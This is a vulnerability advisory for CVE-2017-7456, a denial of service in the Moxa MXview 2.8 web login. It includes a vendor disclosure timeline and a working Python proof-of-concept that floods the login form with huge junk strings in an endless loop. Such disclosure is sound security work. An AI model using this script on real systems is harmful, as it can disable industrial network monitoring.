Moxa MXview 2.8 - Denial of Service

[+] Credits: John Page AKA hyp3rlinx	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/MOXA-MXVIEW-v2.8-DENIAL-OF-SERVICE.txt

[+] ISR: ApparitionSec            

 





Vendor:

============

www.moxa.com







Product:

===========

MXView v2.8



Download:

http://www.moxa.com/product/MXstudio.htm



MXview Industrial Network Management Software.



Auto discovery of network devices and physical connections

Event playback for quick troubleshooting

Color-coded VLAN/IGMP groups and other visualized network data

Supports MXview ToGo mobile app for remote monitoring and notification—anytime, anywhere.







Vulnerability Type:

===================

Denial Of Service







CVE Reference:

==============

CVE-2017-7456







Security Issue:

================

Remote attackers can DOS MXView server by sending large string of junk characters for the user ID and password field login credentials.







Exploit/POC:

=============

import urllib,urllib2



print 'Moxa MXview v2.8 web interface DOS'

print 'hyp3rlinx'



IP=raw_input("[Moxa MXView IP]>")



PAYLOAD="A"*200000000



url = 'http://'+IP+'/goform/account'

data = urllib.urlencode({'uid' :  PAYLOAD, 'pwd' : PAYLOAD, 'action' : 'login'})



while 1:

    req = urllib2.Request(url, data)

    res = urllib2.urlopen(req)

    print res







Network Access:

===============

Remote







Severity:

=========

Medium







Disclosure Timeline:

==========================================================

Vendor Notification:  March 5, 2017

Vendor confirms vulnerability : March 21, 2017

Vendor "updated firmware April 7, 2017" : March 29, 2017

April 9, 2017 : Public Disclosure







[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information

or exploits by the author or elsewhere. All content (c).